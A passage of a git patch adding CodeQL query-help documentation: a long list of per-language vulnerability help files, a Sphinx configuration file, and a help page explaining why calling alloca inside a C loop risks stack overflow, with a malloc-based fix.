docs/language/query-help/java/ExecTainted.md | 42 ++++ .../language/query-help/java/ExecUnescaped.md | 51 +++++ .../java/ExternallyControlledFormatString.md | 66 ++++++ .../java/HardcodedCredentialsApiCall.md | 44 ++++ .../ImproperValidationOfArrayConstruction.md | 63 ++++++ .../java/ImproperValidationOfArrayIndex.md | 64 ++++++ docs/language/query-help/java/InfiniteLoop.md | 48 ++++ .../query-help/java/InformationLoss.md | 33 +++ .../query-help/java/InsecureCookie.md | 46 ++++ .../java/InsecureDependencyResolution.md | 135 ++++++++++++ .../language/query-help/java/IntMultToLong.md | 43 ++++ .../language/query-help/java/LdapInjection.md | 142 ++++++++++++ .../java/MaybeBrokenCryptoAlgorithm.md | 44 ++++ .../query-help/java/NettyResponseSplitting.md | 72 ++++++ .../query-help/java/NumericCastTainted.md | 64 ++++++ .../java/PotentiallyDangerousFunction.md | 50 +++++ .../query-help/java/PredictableSeed.md | 46 ++++ .../java/ReadingFromWorldWritableFile.md | 44 ++++ .../query-help/java/ResponseSplitting.md | 72 ++++++ .../query-help/java/SocketAuthRace.md | 49 +++++ .../query-help/java/SpringCSRFProtection.md | 48 ++++ docs/language/query-help/java/SqlTainted.md | 122 +++++++++++ docs/language/query-help/java/SqlUnescaped.md | 56 +++++ .../query-help/java/StackTraceExposure.md | 54 +++++ docs/language/query-help/java/TOCTOURace.md | 63 ++++++ docs/language/query-help/java/TaintedPath.md | 62 ++++++ .../java/TaintedPermissionsCheck.md | 44 ++++ .../query-help/java/UnreleasedLock.md | 42 ++++ .../query-help/java/UnsafeDeserialization.md | 59 +++++ docs/language/query-help/java/UrlRedirect.md | 43 ++++ docs/language/query-help/java/XSS.md | 39 ++++ docs/language/query-help/java/XXE.md | 54 +++++ docs/language/query-help/java/ZipSlip.md | 57 +++++ docs/language/query-help/javascript.rst | 4 + .../javascript/AllowRunningInsecureContent.md | 37 ++++ .../query-help/javascript/BadRandomness.md | 66 ++++++ .../javascript/BrokenCryptoAlgorithm.md | 43 ++++ .../javascript/BuildArtifactLeak.md | 57 +++++ .../query-help/javascript/CleartextLogging.md | 66 ++++++ .../query-help/javascript/CleartextStorage.md | 66 ++++++ .../javascript/ClientSideUrlRedirect.md | 33 +++ .../query-help/javascript/CodeInjection.md | 34 +++ .../query-help/javascript/CommandInjection.md | 42 ++++ .../javascript/ConditionalBypass.md | 64 ++++++ .../CorsMisconfigurationForCredentials.md | 78 +++++++ .../DisablingCertificateValidation.md | 49 +++++ .../query-help/javascript/DisablingSce.md | 55 +++++ .../javascript/DisablingWebSecurity.md | 37 ++++ .../query-help/javascript/DoubleEscaping.md | 73 ++++++ .../query-help/javascript/ExceptionXss.md | 45 ++++ .../query-help/javascript/FileAccessToHttp.md | 42 ++++ .../javascript/HardcodedCredentials.md | 44 ++++ .../HardcodedDataInterpretedAsCode.md | 41 ++++ .../HostHeaderPoisoningInEmailGeneration.md | 77 +++++++ .../query-help/javascript/HttpToFileAccess.md | 42 ++++ .../javascript/IdentityReplacement.md | 38 ++++ .../javascript/ImproperCodeSanitization.md | 63 ++++++ .../javascript/IncompleteHostnameRegExp.md | 47 ++++ .../IncompleteHtmlAttributeSanitization.md | 61 ++++++ .../IncompleteMultiCharacterSanitization.md | 62 ++++++ .../javascript/IncompleteSanitization.md | 62 ++++++ .../javascript/IncompleteUrlSchemeCheck.md | 50 +++++ .../IncompleteUrlSubstringSanitization.md | 75 +++++++ .../javascript/IncorrectSuffixCheck.md | 48 ++++ .../javascript/IndirectCommandInjection.md | 55 +++++ .../query-help/javascript/InsecureDownload.md | 48 ++++ .../javascript/InsecureRandomness.md | 58 +++++ .../javascript/InsecureUrlWhitelist.md | 49 +++++ .../javascript/InsufficientPasswordHash.md | 49 +++++ .../javascript/LoopBoundInjection.md | 64 ++++++ .../javascript/MissingCsrfMiddleware.md | 63 ++++++ .../javascript/MissingRateLimiting.md | 66 ++++++ .../javascript/MissingRegExpAnchor.md | 56 +++++ .../javascript/PasswordInConfigurationFile.md | 23 ++ .../query-help/javascript/PolynomialReDoS.md | 62 ++++++ .../query-help/javascript/PostMessageStar.md | 46 ++++ .../javascript/PrivateFileExposure.md | 47 ++++ .../javascript/PrototypePollution.md | 69 ++++++ .../javascript/PrototypePollutionUtility.md | 80 +++++++ docs/language/query-help/javascript/ReDoS.md | 48 ++++ .../query-help/javascript/ReflectedXss.md | 63 ++++++ .../query-help/javascript/RegExpInjection.md | 59 +++++ .../javascript/RemotePropertyInjection.md | 61 ++++++ .../query-help/javascript/RequestForgery.md | 69 ++++++ .../javascript/ServerSideUrlRedirect.md | 52 +++++ .../ShellCommandInjectionFromEnvironment.md | 58 +++++ .../query-help/javascript/SqlInjection.md | 57 +++++ .../javascript/StackTraceExposure.md | 75 +++++++ .../query-help/javascript/StoredXss.md | 70 ++++++ .../javascript/TaintedFormatString.md | 52 +++++ .../query-help/javascript/TaintedPath.md | 56 +++++ .../query-help/javascript/TargetBlank.md | 40 ++++ .../TypeConfusionThroughParameterTampering.md | 72 ++++++ .../javascript/UnsafeDeserialization.md | 52 +++++ .../javascript/UnsafeDynamicMethodAccess.md | 71 ++++++ .../javascript/UnsafeHtmlExpansion.md | 59 +++++ .../javascript/UnsafeJQueryPlugin.md | 57 +++++ .../UnsafeShellCommandConstruction.md | 53 +++++ .../UnvalidatedDynamicMethodCall.md | 112 ++++++++++ .../UselessRegExpCharacterEscape.md | 37 ++++ .../query-help/javascript/UselessUseOfCat.md | 51 +++++ .../language/query-help/javascript/XmlBomb.md | 62 ++++++ .../query-help/javascript/XpathInjection.md | 65 ++++++ docs/language/query-help/javascript/Xss.md | 43 ++++ .../query-help/javascript/XssThroughDom.md | 53 +++++ docs/language/query-help/javascript/Xxe.md | 53 +++++ .../language/query-help/javascript/ZipSlip.md | 68 ++++++ docs/language/query-help/python.rst | 4 + .../query-help/python/BindToAllInterfaces.md | 44 ++++ .../python/BrokenCryptoAlgorithm.md | 49 +++++ .../query-help/python/CleartextLogging.md | 49 +++++ .../query-help/python/CleartextStorage.md | 49 +++++ .../query-help/python/CodeInjection.md | 51 +++++ .../query-help/python/CommandInjection.md | 56 +++++ docs/language/query-help/python/FlaskDebug.md | 41 ++++ .../query-help/python/HardcodedCredentials.md | 65 ++++++ .../python/IncompleteHostnameRegExp.md | 56 +++++ .../IncompleteUrlSubstringSanitization.md | 88 ++++++++ .../python/InsecureDefaultProtocol.md | 44 ++++ .../query-help/python/InsecureProtocol.md | 53 +++++ .../python/InsecureTemporaryFile.md | 51 +++++ .../python/Jinja2WithoutEscaping.md | 59 +++++ .../python/MissingHostKeyValidation.md | 49 +++++ .../query-help/python/PathInjection.md | 81 +++++++ .../query-help/python/ReflectedXss.md | 46 ++++ .../python/RequestWithoutValidation.md | 49 +++++ .../query-help/python/SqlInjection.md | 56 +++++ .../query-help/python/StackTraceExposure.md | 58 +++++ docs/language/query-help/python/TarSlip.md | 62 ++++++ .../python/UnsafeDeserialization.md | 59 +++++ .../language/query-help/python/UrlRedirect.md | 57 +++++ docs/language/query-help/python/UseofInput.md | 22 ++ docs/language/query-help/python/WeakCrypto.md | 28 +++ .../query-help/python/WeakFilePermissions.md | 22 ++ docs/language/query-help/query-list.rst | 7 + .../query-help/query-lists/query-list.csv | 196 +++++++++++++++++ docs/language/query-help/toc-cpp.rst | 59 +++++ docs/language/query-help/toc-csharp.rst | 61 ++++++ docs/language/query-help/toc-go.rst | 25 +++ docs/language/query-help/toc-java.rst | 44 ++++ docs/language/query-help/toc-javascript.rst | 76 +++++++ docs/language/query-help/toc-python.rst | 29 +++ 292 files changed, 16243 insertions(+) create mode 100644 docs/language/query-help/conf.py create mode 100644 docs/language/query-help/cpp.rst create mode 100644 docs/language/query-help/cpp/AllocaInLoop.md create mode 100644 docs/language/query-help/cpp/ArithmeticUncontrolled.md create mode 100644 docs/language/query-help/cpp/AuthenticationBypass.md create mode 100644 docs/language/query-help/cpp/BadAdditionOverflowCheck.md create mode 100644 docs/language/query-help/cpp/BadlyBoundedWrite.md create mode 100644 docs/language/query-help/cpp/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/cpp/CastArrayPointerArithmetic.md create mode 100644 docs/language/query-help/cpp/CgiXss.md create mode 100644 docs/language/query-help/cpp/CleartextBufferWrite.md create mode 100644 docs/language/query-help/cpp/CleartextFileWrite.md create mode 100644 docs/language/query-help/cpp/CleartextSqliteDatabase.md create mode 100644 docs/language/query-help/cpp/ComparisonWithWiderType.md create mode 100644 docs/language/query-help/cpp/DangerousFunctionOverflow.md create mode 100644 docs/language/query-help/cpp/DangerousUseOfCin.md create mode 100644 docs/language/query-help/cpp/DoNotCreateWorldWritable.md create mode 100644 docs/language/query-help/cpp/HResultBooleanConversion.md create mode 100644 docs/language/query-help/cpp/IncorrectNotOperatorUsage.md create mode 100644 docs/language/query-help/cpp/IncorrectPointerScaling.md create mode 100644 docs/language/query-help/cpp/IncorrectPointerScalingVoid.md create mode 100644 docs/language/query-help/cpp/IntMultToLong.md create mode 100644 docs/language/query-help/cpp/NewFreeMismatch.md create mode 100644 docs/language/query-help/cpp/NoSpaceForZeroTerminator.md create mode 100644 docs/language/query-help/cpp/NonConstantFormat.md create mode 100644 docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md create mode 100644 docs/language/query-help/cpp/OpenSslHeartbleed.md create mode 100644 docs/language/query-help/cpp/OverflowStatic.md create mode 100644 docs/language/query-help/cpp/OverrunWrite.md create mode 100644 docs/language/query-help/cpp/OverrunWriteFloat.md create mode 100644 docs/language/query-help/cpp/PointerOverflow.md create mode 100644 docs/language/query-help/cpp/PotentiallyDangerousFunction.md create mode 100644 docs/language/query-help/cpp/SignedOverflowCheck.md create mode 100644 docs/language/query-help/cpp/SizeCheck.md create mode 100644 docs/language/query-help/cpp/SizeCheck2.md create mode 100644 docs/language/query-help/cpp/SnprintfOverflow.md create mode 100644 docs/language/query-help/cpp/SqlTainted.md create mode 100644 docs/language/query-help/cpp/StrncpyFlippedArgs.md create mode 100644 docs/language/query-help/cpp/SuspiciousAddWithSizeof.md create mode 100644 docs/language/query-help/cpp/SuspiciousCallToStrncat.md create mode 100644 docs/language/query-help/cpp/SuspiciousSizeof.md create mode 100644 docs/language/query-help/cpp/TOCTOUFilesystemRace.md create mode 100644 docs/language/query-help/cpp/TaintedAllocationSize.md create mode 100644 docs/language/query-help/cpp/TaintedCondition.md create mode 100644 docs/language/query-help/cpp/TaintedPath.md create mode 100644 docs/language/query-help/cpp/TooFewArguments.md create mode 100644 docs/language/query-help/cpp/UnboundedWrite.md create mode 100644 docs/language/query-help/cpp/UncontrolledFormatString.md create mode 100644 docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md create mode 100644 docs/language/query-help/cpp/UncontrolledProcessOperation.md create mode 100644 docs/language/query-help/cpp/UninitializedLocal.md create mode 100644 docs/language/query-help/cpp/UnsafeCreateProcessCall.md create mode 100644 docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md create mode 100644 docs/language/query-help/cpp/UnsafeUseOfStrcat.md create mode 100644 docs/language/query-help/cpp/UnterminatedVarargsCall.md create mode 100644 docs/language/query-help/cpp/WcharCharConversion.md create mode 100644 docs/language/query-help/cpp/WrongNumberOfFormatArguments.md create mode 100644 docs/language/query-help/cpp/WrongTypeFormatArguments.md create mode 100644 docs/language/query-help/csharp.rst create mode 100644 docs/language/query-help/csharp/ASPNetDebug.md create mode 100644 docs/language/query-help/csharp/ASPNetDirectoryListing.md create mode 100644 docs/language/query-help/csharp/AbandonSession.md create mode 100644 docs/language/query-help/csharp/AssemblyPathInjection.md create mode 100644 docs/language/query-help/csharp/CleartextStorage.md create mode 100644 docs/language/query-help/csharp/CodeInjection.md create mode 100644 docs/language/query-help/csharp/CommandInjection.md create mode 100644 docs/language/query-help/csharp/ConditionalBypass.md create mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md create mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadPath.md create mode 100644 docs/language/query-help/csharp/DeserializedDelegate.md create mode 100644 docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md create mode 100644 docs/language/query-help/csharp/Encryption using ECB.md create mode 100644 docs/language/query-help/csharp/ExceptionInformationExposure.md create mode 100644 docs/language/query-help/csharp/ExposureInTransmittedData.md create mode 100644 docs/language/query-help/csharp/ExposureOfPrivateInformation.md create mode 100644 docs/language/query-help/csharp/HardcodedConnectionString.md create mode 100644 docs/language/query-help/csharp/HardcodedCredentials.md create mode 100644 docs/language/query-help/csharp/HeaderCheckingDisabled.md create mode 100644 docs/language/query-help/csharp/InadequateRSAPadding.md create mode 100644 docs/language/query-help/csharp/InsecureRandomness.md create mode 100644 docs/language/query-help/csharp/InsecureSQLConnection.md create mode 100644 docs/language/query-help/csharp/InsufficientKeySize.md create mode 100644 docs/language/query-help/csharp/LDAPInjection.md create mode 100644 docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md create mode 100644 docs/language/query-help/csharp/LogForging.md create mode 100644 docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md create mode 100644 docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md create mode 100644 docs/language/query-help/csharp/MissingXFrameOptions.md create mode 100644 docs/language/query-help/csharp/MissingXMLValidation.md create mode 100644 docs/language/query-help/csharp/PasswordInConfigurationFile.md create mode 100644 docs/language/query-help/csharp/PersistentCookie.md create mode 100644 docs/language/query-help/csharp/ReDoS.md create mode 100644 docs/language/query-help/csharp/RegexInjection.md create mode 100644 docs/language/query-help/csharp/RequireSSL.md create mode 100644 docs/language/query-help/csharp/ResourceInjection.md create mode 100644 docs/language/query-help/csharp/RuntimeChecksBypass.md create mode 100644 docs/language/query-help/csharp/SecondOrderSqlInjection.md create mode 100644 docs/language/query-help/csharp/SqlInjection.md create mode 100644 docs/language/query-help/csharp/StoredCommandInjection.md create mode 100644 docs/language/query-help/csharp/StoredLDAPInjection.md create mode 100644 docs/language/query-help/csharp/StoredXPathInjection.md create mode 100644 docs/language/query-help/csharp/StoredXSS.md create mode 100644 docs/language/query-help/csharp/TaintedPath.md create mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md create mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md create mode 100644 docs/language/query-help/csharp/UncontrolledFormatString.md create mode 100644 docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md create mode 100644 docs/language/query-help/csharp/UntrustedDataInsecureXml.md create mode 100644 docs/language/query-help/csharp/UrlRedirect.md create mode 100644 docs/language/query-help/csharp/UseOfFileUpload.md create mode 100644 docs/language/query-help/csharp/ValueShadowing.md create mode 100644 docs/language/query-help/csharp/ValueShadowingServerVariable.md create mode 100644 docs/language/query-help/csharp/WeakEncryption.md create mode 100644 docs/language/query-help/csharp/XMLInjection.md create mode 100644 docs/language/query-help/csharp/XPathInjection.md create mode 100644 docs/language/query-help/csharp/XSS.md create mode 100644 docs/language/query-help/csharp/ZipSlip.md create mode 100644 docs/language/query-help/go.rst create mode 100644 docs/language/query-help/go/AllocationSizeOverflow.md create mode 100644 docs/language/query-help/go/BadRedirectCheck.md create mode 100644 docs/language/query-help/go/CleartextLogging.md create mode 100644 docs/language/query-help/go/CommandInjection.md create mode 100644 docs/language/query-help/go/ConstantOauth2State.md create mode 100644 docs/language/query-help/go/DisabledCertificateCheck.md create mode 100644 docs/language/query-help/go/EmailInjection.md create mode 100644 docs/language/query-help/go/HardcodedCredentials.md create mode 100644 docs/language/query-help/go/IncompleteHostnameRegexp.md create mode 100644 docs/language/query-help/go/IncompleteUrlSchemeCheck.md create mode 100644 docs/language/query-help/go/IncorrectIntegerConversion.md create mode 100644 docs/language/query-help/go/InsecureHostKeyCallback.md create mode 100644 docs/language/query-help/go/InsecureTLS.md create mode 100644 docs/language/query-help/go/MissingRegexpAnchor.md create mode 100644 docs/language/query-help/go/OpenUrlRedirect.md create mode 100644 docs/language/query-help/go/ReflectedXss.md create mode 100644 docs/language/query-help/go/RequestForgery.md create mode 100644 docs/language/query-help/go/SqlInjection.md create mode 100644 docs/language/query-help/go/StringBreak.md create mode 100644 docs/language/query-help/go/TaintedPath.md create mode 100644 docs/language/query-help/go/XPathInjection.md create mode 100644 docs/language/query-help/go/ZipSlip.md create mode 100644 docs/language/query-help/index.rst create mode 100644 docs/language/query-help/java.rst create mode 100644 docs/language/query-help/java/ArithmeticTainted.md create mode 100644 docs/language/query-help/java/ArithmeticUncontrolled.md create mode 100644 docs/language/query-help/java/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/java/CleartextStorageCookie.md create mode 100644 docs/language/query-help/java/CleartextStorageProperties.md create mode 100644 docs/language/query-help/java/ComparisonWithWiderType.md create mode 100644 docs/language/query-help/java/ConditionalBypass.md create mode 100644 docs/language/query-help/java/ExecRelative.md create mode 100644 docs/language/query-help/java/ExecTainted.md create mode 100644 docs/language/query-help/java/ExecUnescaped.md create mode 100644 docs/language/query-help/java/ExternallyControlledFormatString.md create mode 100644 docs/language/query-help/java/HardcodedCredentialsApiCall.md create mode 100644 docs/language/query-help/java/ImproperValidationOfArrayConstruction.md create mode 100644 docs/language/query-help/java/ImproperValidationOfArrayIndex.md create mode 100644 docs/language/query-help/java/InfiniteLoop.md create mode 100644 docs/language/query-help/java/InformationLoss.md create mode 100644 docs/language/query-help/java/InsecureCookie.md create mode 100644 docs/language/query-help/java/InsecureDependencyResolution.md create mode 100644 docs/language/query-help/java/IntMultToLong.md create mode 100644 docs/language/query-help/java/LdapInjection.md create mode 100644 docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/java/NettyResponseSplitting.md create mode 100644 docs/language/query-help/java/NumericCastTainted.md create mode 100644 docs/language/query-help/java/PotentiallyDangerousFunction.md create mode 100644 docs/language/query-help/java/PredictableSeed.md create mode 100644 docs/language/query-help/java/ReadingFromWorldWritableFile.md create mode 100644 docs/language/query-help/java/ResponseSplitting.md create mode 100644 docs/language/query-help/java/SocketAuthRace.md create mode 100644 docs/language/query-help/java/SpringCSRFProtection.md create mode 100644 docs/language/query-help/java/SqlTainted.md create mode 100644 docs/language/query-help/java/SqlUnescaped.md create mode 100644 docs/language/query-help/java/StackTraceExposure.md create mode 100644 docs/language/query-help/java/TOCTOURace.md create mode 100644 docs/language/query-help/java/TaintedPath.md create mode 100644 docs/language/query-help/java/TaintedPermissionsCheck.md create mode 100644 docs/language/query-help/java/UnreleasedLock.md create mode 100644 docs/language/query-help/java/UnsafeDeserialization.md create mode 100644 docs/language/query-help/java/UrlRedirect.md create mode 100644 docs/language/query-help/java/XSS.md create mode 100644 docs/language/query-help/java/XXE.md create mode 100644 docs/language/query-help/java/ZipSlip.md create mode 100644 docs/language/query-help/javascript.rst create mode 100644 docs/language/query-help/javascript/AllowRunningInsecureContent.md create mode 100644 docs/language/query-help/javascript/BadRandomness.md create mode 100644 docs/language/query-help/javascript/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/javascript/BuildArtifactLeak.md create mode 100644 docs/language/query-help/javascript/CleartextLogging.md create mode 100644 docs/language/query-help/javascript/CleartextStorage.md create mode 100644 docs/language/query-help/javascript/ClientSideUrlRedirect.md create mode 100644 docs/language/query-help/javascript/CodeInjection.md create mode 100644 docs/language/query-help/javascript/CommandInjection.md create mode 100644 docs/language/query-help/javascript/ConditionalBypass.md create mode 100644 docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md create mode 100644 docs/language/query-help/javascript/DisablingCertificateValidation.md create mode 100644 docs/language/query-help/javascript/DisablingSce.md create mode 100644 docs/language/query-help/javascript/DisablingWebSecurity.md create mode 100644 docs/language/query-help/javascript/DoubleEscaping.md create mode 100644 docs/language/query-help/javascript/ExceptionXss.md create mode 100644 docs/language/query-help/javascript/FileAccessToHttp.md create mode 100644 docs/language/query-help/javascript/HardcodedCredentials.md create mode 100644 docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md create mode 100644 docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md create mode 100644 docs/language/query-help/javascript/HttpToFileAccess.md create mode 100644 docs/language/query-help/javascript/IdentityReplacement.md create mode 100644 docs/language/query-help/javascript/ImproperCodeSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteHostnameRegExp.md create mode 100644 docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md create mode 100644 docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md create mode 100644 docs/language/query-help/javascript/IncorrectSuffixCheck.md create mode 100644 docs/language/query-help/javascript/IndirectCommandInjection.md create mode 100644 docs/language/query-help/javascript/InsecureDownload.md create mode 100644 docs/language/query-help/javascript/InsecureRandomness.md create mode 100644 docs/language/query-help/javascript/InsecureUrlWhitelist.md create mode 100644 docs/language/query-help/javascript/InsufficientPasswordHash.md create mode 100644 docs/language/query-help/javascript/LoopBoundInjection.md create mode 100644 docs/language/query-help/javascript/MissingCsrfMiddleware.md create mode 100644 docs/language/query-help/javascript/MissingRateLimiting.md create mode 100644 docs/language/query-help/javascript/MissingRegExpAnchor.md create mode 100644 docs/language/query-help/javascript/PasswordInConfigurationFile.md create mode 100644 docs/language/query-help/javascript/PolynomialReDoS.md create mode 100644 docs/language/query-help/javascript/PostMessageStar.md create mode 100644 docs/language/query-help/javascript/PrivateFileExposure.md create mode 100644 docs/language/query-help/javascript/PrototypePollution.md create mode 100644 docs/language/query-help/javascript/PrototypePollutionUtility.md create mode 100644 docs/language/query-help/javascript/ReDoS.md create mode 100644 docs/language/query-help/javascript/ReflectedXss.md create mode 100644 docs/language/query-help/javascript/RegExpInjection.md create mode 100644 docs/language/query-help/javascript/RemotePropertyInjection.md create mode 100644 docs/language/query-help/javascript/RequestForgery.md create mode 100644 docs/language/query-help/javascript/ServerSideUrlRedirect.md create mode 100644 docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md create mode 100644 docs/language/query-help/javascript/SqlInjection.md create mode 100644 docs/language/query-help/javascript/StackTraceExposure.md create mode 100644 docs/language/query-help/javascript/StoredXss.md create mode 100644 docs/language/query-help/javascript/TaintedFormatString.md create mode 100644 docs/language/query-help/javascript/TaintedPath.md create mode 100644 docs/language/query-help/javascript/TargetBlank.md create mode 100644 docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md create mode 100644 docs/language/query-help/javascript/UnsafeDeserialization.md create mode 100644 docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md create mode 100644 docs/language/query-help/javascript/UnsafeHtmlExpansion.md create mode 100644 docs/language/query-help/javascript/UnsafeJQueryPlugin.md create mode 100644 docs/language/query-help/javascript/UnsafeShellCommandConstruction.md create mode 100644 docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md create mode 100644 docs/language/query-help/javascript/UselessRegExpCharacterEscape.md create mode 100644 docs/language/query-help/javascript/UselessUseOfCat.md create mode 100644 docs/language/query-help/javascript/XmlBomb.md create mode 100644 docs/language/query-help/javascript/XpathInjection.md create mode 100644 docs/language/query-help/javascript/Xss.md create mode 100644 docs/language/query-help/javascript/XssThroughDom.md create mode 100644 docs/language/query-help/javascript/Xxe.md create mode 100644 docs/language/query-help/javascript/ZipSlip.md create mode 100644 docs/language/query-help/python.rst create mode 100644 docs/language/query-help/python/BindToAllInterfaces.md create mode 100644 docs/language/query-help/python/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/python/CleartextLogging.md create mode 100644 docs/language/query-help/python/CleartextStorage.md create mode 100644 docs/language/query-help/python/CodeInjection.md create mode 100644 docs/language/query-help/python/CommandInjection.md create mode 100644 docs/language/query-help/python/FlaskDebug.md create mode 100644 docs/language/query-help/python/HardcodedCredentials.md create mode 100644 docs/language/query-help/python/IncompleteHostnameRegExp.md create mode 100644 docs/language/query-help/python/IncompleteUrlSubstringSanitization.md create mode 100644 docs/language/query-help/python/InsecureDefaultProtocol.md create mode 100644 docs/language/query-help/python/InsecureProtocol.md create mode 100644 docs/language/query-help/python/InsecureTemporaryFile.md create mode 100644 docs/language/query-help/python/Jinja2WithoutEscaping.md create mode 100644 docs/language/query-help/python/MissingHostKeyValidation.md create mode 100644 docs/language/query-help/python/PathInjection.md create mode 100644 docs/language/query-help/python/ReflectedXss.md create mode 100644 docs/language/query-help/python/RequestWithoutValidation.md create mode 100644 docs/language/query-help/python/SqlInjection.md create mode 100644 docs/language/query-help/python/StackTraceExposure.md create mode 100644 docs/language/query-help/python/TarSlip.md create mode 100644 docs/language/query-help/python/UnsafeDeserialization.md create mode 100644 docs/language/query-help/python/UrlRedirect.md create mode 100644 docs/language/query-help/python/UseofInput.md create mode 100644 docs/language/query-help/python/WeakCrypto.md create mode 100644 docs/language/query-help/python/WeakFilePermissions.md create mode 100644 docs/language/query-help/query-list.rst create mode 100644 docs/language/query-help/query-lists/query-list.csv create mode 100644 docs/language/query-help/toc-cpp.rst create mode 100644 docs/language/query-help/toc-csharp.rst create mode 100644 docs/language/query-help/toc-go.rst create mode 100644 docs/language/query-help/toc-java.rst create mode 100644 docs/language/query-help/toc-javascript.rst create mode 100644 docs/language/query-help/toc-python.rst diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py new file mode 100644 index 00000000000..c108574413f --- /dev/null +++ b/docs/language/query-help/conf.py @@ -0,0 +1,85 @@ +# -*- coding: utf-8 -*- +# +# Learn CodeQL documentation build configuration file, created by +# on Tuesday Nov 13 2018. +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +# For details of all possible config values, +# see https://www.sphinx-doc.org/en/master/usage/configuration.html + +################################################################################# +# +# Modified 22052019. + +# The configuration values below are specific to the learning ql project +# To amend html_theme_options, update version/release number, or add more sphinx extensions, +# refer to code/documentation/ql-documentation/global-sphinx-files/global-conf.py +# +################################################################################## + +# -- Project-specific configuration ----------------------------------- + +import os + +# Import global config values +with open(os.path.abspath("../global-sphinx-files/global-conf.py")) as in_file: + exec(in_file.read()) + +# Set QL as the default language for highlighting code. Set to none to disable +# syntax highlighting. If omitted or left blank, it defaults to Python 3. +# highlight_language = 'ql' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'CodeQL query help' + +# Add md parser to process query help markdown files + +source_parsers = { + '.md': 'recommonmark.parser.CommonMarkParser', +} + +source_suffix = ['.rst', '.md'] + + +# -- Project-specifc options for HTML output ---------------------------------------------- + +# The version info for this project, if different from version and release in main conf.py file. +# The short X.Y version. +# version = u'1.18' +# The full version, including alpha/beta/rc tags. +# release = u'1.18' + +# -- Currently unused, but potentially useful, configs-------------------------------------- + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Add any extra paths that contain custom files (such as robots.txt or +# .htaccess) here, relative to this directory. These files are copied +# directly to the root of the documentation. +#html_extra_path = [] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['toc-*'] \ No newline at end of file diff --git a/docs/language/query-help/cpp.rst b/docs/language/query-help/cpp.rst new file mode 100644 index 00000000000..6240f0d4418 --- /dev/null +++ b/docs/language/query-help/cpp.rst @@ -0,0 +1,5 @@ +C and C++ query help +===================== + +.. include:: toc-cpp.rst + \ No newline at end of file diff --git a/docs/language/query-help/cpp/AllocaInLoop.md b/docs/language/query-help/cpp/AllocaInLoop.md new file mode 100644 index 00000000000..36d8ad42f64 --- /dev/null +++ b/docs/language/query-help/cpp/AllocaInLoop.md @@ -0,0 +1,53 @@ +# Call to alloca in a loop + +``` +ID: cpp/alloca-in-loop +Kind: problem +Severity: warning +Precision: high +Tags: reliability correctness security external/cwe/cwe-770 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/AllocaInLoop.ql) + +The `alloca` macro allocates memory by expanding the current stack frame. Invoking `alloca` within a loop may lead to a stack overflow because the memory is not released until the function returns. + + +## Recommendation +Consider invoking `alloca` once outside the loop, or using `malloc` or `new` to allocate memory on the heap if the allocation must be done inside the loop. + + +## Example +The variable `path` is allocated inside a loop with `alloca`. Consequently, storage for all copies of the path is present in the stack frame until the end of the function. + + +```cpp +char *dir_path; +char **dir_entries; +int count; + +for (int i = 0; i < count; i++) { + char *path = (char*)alloca(strlen(dir_path) + strlen(dir_entry[i]) + 2); + // use path +} + +``` +In the revised example, `path` is allocated with `malloc` and freed at the end of the loop. + + +```cpp +char *dir_path; +char **dir_entries; +int count; + +for (int i = 0; i < count; i++) { + char *path = (char*)malloc(strlen(dir_path) + strlen(dir_entry[i]) + 2); + // use path + free(path); +} + +``` + +## References +* Linux Programmer's Manual: [ALLOCA(3)](http://man7.org/linux/man-pages/man3/alloca.3.html). +* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ArithmeticUncontrolled.md b/docs/language/query-help/cpp/ArithmeticUncontrolled.md new file mode 100644 index 00000000000..39f00fc3b28 --- /dev/null +++ b/docs/language/query-help/cpp/ArithmeticUncontrolled.md @@ -0,0 +1,50 @@ +# Uncontrolled data in arithmetic expression + +``` +ID: cpp/uncontrolled-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the 